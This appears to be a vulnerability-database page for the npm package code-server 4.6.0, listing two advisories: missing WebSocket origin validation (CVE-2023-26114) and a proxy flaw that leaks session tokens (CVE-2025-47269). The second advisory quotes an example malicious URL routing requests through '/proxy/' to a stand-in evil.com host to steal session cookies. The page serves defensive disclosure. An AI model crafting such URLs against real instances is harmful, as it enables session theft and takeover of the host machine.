Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/code-server@4.6.0
purl pkg:npm/code-server@4.6.0
Next non-vulnerable version 4.99.4
Latest non-vulnerable version 4.99.4
Risk 4.5
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-pbjs-m2xn-w7hn
Aliases:
CVE-2023-26114
GHSA-frjg-g767-7363
Versions of the package code-server before 4.10.1 are vulnerable to Missing Origin Validation in WebSockets handshakes. Exploiting this vulnerability can allow an adversary in specific scenarios to access data from and connect to the code-server instance.
4.10.1
Affected by 1 other vulnerability.
VCID-thn8-dwa6-zud1
Aliases:
CVE-2025-47269
GHSA-p483-wpfp-42cj
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
4.99.4
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-12T20:01:22.300070+00:00 GitLab Importer Affected by VCID-thn8-dwa6-zud1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/code-server/CVE-2025-47269.yml 38.6.0
2026-06-12T18:49:33.704784+00:00 GitLab Importer Affected by VCID-pbjs-m2xn-w7hn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/code-server/CVE-2023-26114.yml 38.6.0